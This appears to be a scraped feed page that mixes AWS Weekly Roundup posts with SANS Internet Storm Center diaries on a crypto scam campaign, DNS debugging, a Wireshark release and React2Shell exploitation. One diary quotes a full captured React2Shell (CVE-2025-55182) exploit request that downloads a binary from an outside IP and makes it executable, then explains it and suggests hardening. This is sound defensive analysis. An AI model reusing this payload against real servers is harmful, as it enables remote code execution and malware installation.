Recently, a new "breed" of IP-based KVM devices has been released. In the past, IP-based KVM devices required dedicated "server-grade" hardware using IPMI. They often cost several $100 per server, and are only available for specific systems that support the respective add-on cards. These cards are usually used to provide "Lights Out" access to servers, allowing a complete reboot and interaction with the pre-boot environment via simple web-based tools. In some cases, these IPMI tools can also be used via various enterprise/data center management tools.
Happy New Year! AWS Weekly Roundup: 10,000 AIdeas Competition, Amazon EC2, Amazon ECS Managed Instances and more (January 5, 2026)
Happy New Year! I hope the holidays gave you time to recharge and spend time with your loved ones.
Like every year, I took a few weeks off after AWS re:Invent to rest and plan ahead. I used some of that downtime to plan the next cohort for Become a Solutions Architect (BeSA). BeSA is a free mentoring program that I, along with a few other Amazon Web Services (AWS) employees, volunteer to host as a way to help people excel in their cloud and AI careers. We’re kicking off a 6-week cohort on “Agentic AI on AWS” starting February 21, 2026. Visit the BeSA website to learn more.
There is still time to submit your idea for the Global 10,000 AIdeas Competition and compete for $250,000 in cash prizes, AWS credits, and recognition, including potential featured placement at AWS re:Invent 2026 and across AWS channels.
You will gain hands-on experience with next-generation AI development tools, connect with innovators globally, and access technical enablement through biweekly workshops, AWS User Groups, and AWS Builder Center resources.
The deadline is January 21, 2026, and no code is required yet. If you’re selected as a semifinalist, you’ll build your app then. Your finished app needs to use Kiro for at least part of development, stay within AWS Free Tier limits, and be completely original and not yet published.
If you haven’t yet caught up with all the new releases and announcements from AWS re:Invent 2025, check out our top announcements post or watch the keynotes, innovation talks, and breakout sessions on-demand.
Launches from the last few weeks
I’d like to highlight some launches that got my attention since our last Week in Review on December 15, 2025:
- Amazon EC2 M8gn and M8gb instances – New M8gn and M8gb instances are powered by AWS Graviton4 processors to deliver up to 30% better compute performance than AWS Graviton3 processors. M8gn instances feature the latest 6th generation AWS Nitro Cards, and offer up to 600 Gbps network bandwidth, the highest network bandwidth among network-optimized EC2 instances. M8gb offer up to 150 Gbps of Amazon EBS bandwidth to provide higher EBS performance compared to same-sized equivalent Graviton4-based instances.
- AWS Direct Connect supports resilience testing with AWS Fault Injection Service – You can now use AWS Fault Injection Service to test how your applications handle Direct Connect Border Gateway Protocol (BGP) failover in a controlled environment. For example, you can validate that traffic routes to redundant virtual interfaces when a primary virtual interface’s BGP session is disrupted and your applications continue to function as expected.
- New AWS Security Hub controls in AWS Control Tower – AWS Control Tower now supports 176 additional Security Hub controls in the Control Catalog, covering use cases including security, cost, durability, and operations. With this launch, you can search, discover, enable, and manage these controls directly from AWS Control Tower to govern additional use cases across your multi-account environment.
- AWS Transform supports network conversion for hybrid data center migrations – You can now use AWS Transform for VMware to automatically convert networks from hybrid data centers. This removes manual network mapping for environments running both VMware and other workloads. The service analyzes VLANs and IP ranges across all exported source networks and maps them to AWS constructs such as virtual private clouds (VPCs), subnets, and security groups.
- NVIDIA Nemotron 3 Nano available on Amazon Bedrock – Amazon Bedrock now supports NVIDIA Nemotron 3 Nano 30B A3B model, NVIDIA’s latest breakthrough in efficient language modeling that delivers high reasoning performance, built-in tool calling support, and extended context processing with 256K token context window.
- Amazon EC2 supports Availability Zone ID across its APIs – You can specify the Availability Zone ID (AZ ID) parameter directly in your Amazon EC2 APIs to guarantee consistent placement of resources. AZ IDs are consistent and static identifiers that represent the same physical location across all AWS accounts, helping you optimize resource placement. Prior to this launch, you had to use an AZ name while creating a resource, but these names could map to different physical locations. This mapping made it difficult to ensure resources were always co-located, especially when operating with multiple accounts.
- Amazon ECS Managed Instances supports Amazon EC2 Spot Instances – Amazon ECS Managed Instances now supports Amazon EC2 Spot Instances, extending the range of capabilities available with AWS managed infrastructure. You can use spare EC2 capacity at up to 90% discount compared to On-Demand prices for fault-tolerant workloads in Amazon ECS Managed Instances.
See AWS What’s New for more launch news that I haven’t covered here. That’s all for this week. Check back next Monday for another Weekly Roundup!
Here’s to a fantastic start to 2026. Happy building!
– Prasad
Cryptocurrency Scam Emails and Web Pages As We Enter 2026, (Sun, Jan 4th)
Introduction
In October 2025, a work colleague documented a cryptocurrency scam using a fake chatbot. After investigating this, I was able to receive messages from the campaign, and these emails have continued to land in my honeypot account since then. This diary documents the cryptocurrency scam campaign as it continues in 2026.

Shown above: My honeypot email inbox with several emails from this cryptocurrency scam campaign.
Details
This campaign promises cash payouts on cryptocurrency that potential victims unknowingly have.
This campaign primarily abuses the minimalist publishing platform telegra[.]ph, which anyone can use to publish a simple web page very quickly. Many of these emails have minimal messaging and contain links to these telegra[.]ph pages.

Shown above: Example of an email from this campaign with link to a telegra[.]ph page.

Shown above: Example of a telegra[.]ph page from this campaign.
This campaign is not limited to abusing telegra[.]ph. Many of these emails contain Google Forms pages that lead to the telegra[.]ph page.

Shown above: Example of a Google Forms email from this campaign.

Shown above: Example of a response from the Google Forms link that leads to a telegra[.]ph page for this campaign.
These telegra[.]ph pages generally lead to the same type of cryptocurrency scam, stating you have over $100K in US dollars worth of Bitcoin from an automated Bitcoin mining cloud platform.

Shown above: Example of a page to begin the cryptocurrency scam.
In November 2025, I posted a video on YouTube, where I went through the website step-by-step, interacting with the fake chatbot to get to the actual scam. The scam involves paying a fee to convert the supposed Bitcoin to US dollars, which potential victims would send to a wallet controlled by the criminals.
Final Words
Many free services are easy to abuse for these types of campaigns. While these emails may seem obviously fake, they continue to be cost-effective for criminals to send, and criminals can easily abuse other services to host everything needed for this scam.
Bradley Duncan
brad [at] malware-traffic-analysis.net
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Debugging DNS response times with tshark, (Fri, Jan 2nd)
One of my holiday projects was to redo and optimize part of my home network. One of my homelab servers failed in November. I had only thrown the replacement in the rack to get going, but some cleanup was needed. In addition, a lot of other "layer 1" issues had to be fixed by re-crimping some network drops and doing general network hygiene. The dust buny kind hygiene, not so much the critical controls type. After all, I don't want things to overheat, and it is nice to see all network links syncing properly.
DLLs & TLS Callbacks, (Fri, Dec 19th)
Positive trends related to public IP ranges from the year 2025, (Thu, Dec 18th)
Since the end of the year is quickly approaching, it is undoubtedly a good time to look back at what the past twelve months have brought to us… And given that the entire cyber security profession is about protecting various systems from “bad things” (and we’ve all correspondingly seen more than our share of the “bad”), I thought that it might be pleasant to look at a few positive background trends that have accompanied us throughout the year, without us necessarily noticing…
Maybe a Little Bit More Interesting React2Shell Exploit, (Wed, Dec 17th)
AWS Weekly Roundup: Amazon ECS, Amazon CloudWatch, Amazon Cognito and more (December 15, 2025)
Can you believe it? We’re nearly at the end of 2025. And what a year it’s been! From re:Invent recap events, to AWS Summits, AWS Innovate, AWS re:Inforce, Community Days, and DevDays and, recently, adding that cherry on the cake, re:Invent 2025, we have lived through a year filled with exciting moments and technology advancements which continue to shape our new modern world.
Speaking of re:Invent, if you haven’t caught up yet on all the new releases and announcements (and there were plenty of exciting launches across every area), be sure to check out our curated post highlighting the top announcements from AWS re:Invent 2025. We’ve organized all the key releases into easy-to-navigate categories and included links so you can dive deeper into anything that sparks your interest.
While the year may be wrapping up, our teams are still busy working on things that you have either asked for as customers or that we pro-actively create to make your lives easier. Last week had quite a few interesting releases as usual, so let’s look at a few that I think could be useful for many of you out there.
Last week’s launches
Amazon WorkSpaces Secure Browser introduces Web Content Filtering – Organizations can now control web access through category-based filtering across 25+ predefined categories, granular URL policies, and integrated compliance logging. The feature works alongside existing Chrome policies and integrates with Session Logger for enhanced monitoring and is available at no additional cost in 10 AWS Regions with pay-as-you-go pricing.
Amazon Aurora DSQL now supports cluster creation in seconds – Developers can now instantly provision Aurora DSQL databases with setup time reduced from minutes to seconds, enabling rapid prototyping through the integrated AWS console query editor or AI-powered development via the Aurora DSQL Model Context Protocol server. Available at no additional cost in all AWS Regions where Aurora DSQL is offered, with AWS Free Tier access available.
Amazon Aurora PostgreSQL now supports integration with Kiro powers – Developers can now accelerate Aurora PostgreSQL application development using AI-assisted coding through Kiro powers, a repository of pre-packaged Model Context Protocol servers. The Aurora PostgreSQL integration provides direct database connectivity for queries, schema management, and cluster operations, dynamically loading relevant context as developers work. Available for one-click installation in Kiro IDE across all AWS Regions.
Amazon ECS now supports custom container stop signals on AWS Fargate – Fargate tasks now honor the stop signal configured in container images, enabling graceful shutdowns for containers that rely on signals like SIGQUIT or SIGINT instead of the default SIGTERM. The ECS container agent reads the STOPSIGNAL instruction from OCI-compliant images and sends the appropriate signal during task termination. Available at no additional cost across all AWS Regions.
Amazon CloudWatch SDK supports optimized JSON, CBOR protocols – CloudWatch SDK now defaults to JSON and CBOR protocols, delivering lower latency, reduced payload sizes, and decreased client-side CPU and memory usage compared to the traditional AWS Query protocol. Available at no additional cost across all AWS Regions and SDK language variants.
Amazon Cognito identity pools now support private connectivity with AWS PrivateLink – Organizations can now securely exchange federated identities for temporary AWS credentials through private VPC connections, eliminating the need to route authentication traffic over the public internet. Available in all AWS Regions where Cognito identity pools are supported, except AWS China (Beijing) and AWS GovCloud (US) Regions.
AWS Application Migration Service supports IPv6 – Organizations can now migrate applications using IPv6 addressing through dual-stack service endpoints that support both IPv4 and IPv6 communications. During replication, testing, and cutover phases, you can use IPv4, IPv6, or dual-stack configurations to launch servers in your target environment. Available at no additional cost in all AWS Regions that support MGN and EC2 dual-stack endpoints.
And that’s it for the AWS News Blog Weekly Roundup…not just for this week, but for 2025! We’ll be taking a break and returning in January to continue bringing you the latest AWS releases and updates.
As we close out 2025, it’s remarkable to look back at just how much has changed since the beginning of year. From groundbreaking AI capabilities to transformative infrastructure innovations, AWS has delivered an incredible year of releases that have reshaped what’s possible in the cloud. Throughout it all, the AWS News Blog has been right here with you every week with our Weekly Roundup series, helping you stay informed and ready to take advantage of each new opportunity as it arrived. We’re grateful you’ve joined us on this journey, and we can’t wait to continue bringing you the latest AWS innovations when we return in January 2026.
Until then, happy building, and here’s to an even more exciting year ahead!
More React2Shell Exploits CVE-2025-55182, (Mon, Dec 15th)
Exploits for React2Shell (CVE-2025-55182) remain active. However, at this point, I would think that any servers vulnerable to the "plain" exploit attempts have already been exploited several times. Here is today's most popular exploit payload:
------WebKitFormBoundaryxtherespoopalloverme
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{"then":"$B1337"}","_response":{"_prefix":"process.mainModule.require('http').get('http://51.81.104.115/nuts/poop',r=>r.pipe(process.mainModule.require('fs').createWriteStream('/dev/shm/lrt').on('finish',()=>process.mainModule.require('fs').chmodSync('/dev/shm/lrt',0o755))));","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryxtherespoopalloverme
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryxtherespoopalloverme
------WebKitFormBoundaryxtherespoopalloverme--
To make the key components more readable:
process.mainModule.require('http').get('http://51.81.104.115/nuts/poop',
r=>r.pipe(process.mainModule.require('fs').
createWriteStream('/dev/shm/lrt').on('finish'
This statement downloads the binary from 51.81.104.115 into a local file, /dev/shm/lrt.
process.mainModule.require('fs').chmodSync('/dev/shm/lrt',0o755))));
And then the script is marked as executable. It is unclear whether the script is explicitly executed. The Virustotal summary is somewhat ambiguous regarding the binary, identifying it as either adware or a miner [1]. Currently, this is the most common exploit variant we see for react2shell.
Other versions of the exploit use /dev/lrt and /tmp/lrt instead of /dev/shm/lrt to store the malware.
/dev/shm and /dev/tmp are typically world writable and should always work. /dev requires root privileges, and these days it is unlikely for a web application to run as root. One recommendation to harden Linux systems is to create/tmp as its own partition and mark it as "noexec" to prevent it from being used as a scratch space to run exploit code. But this is sometimes tough to implement with "normal" processes running code in /tmp (not pretty, but done ever so often)
[1] https://www.virustotal.com/gui/file/895f8dff9cd26424b691a401c92fa7745e693275c38caf6a6aff277eadf2a70b/detection
—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Wireshark 4.6.2 Released, (Sun, Dec 14th)
Wireshark release 4.6.2 fixes 2 vulnerabilities and 5 bugs.
The Windows installers now ship with the Visual C++ Redistributable version 14.44.35112. This required a reboot of my laptop.
Didier Stevens
Senior handler
blog.DidierStevens.com
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.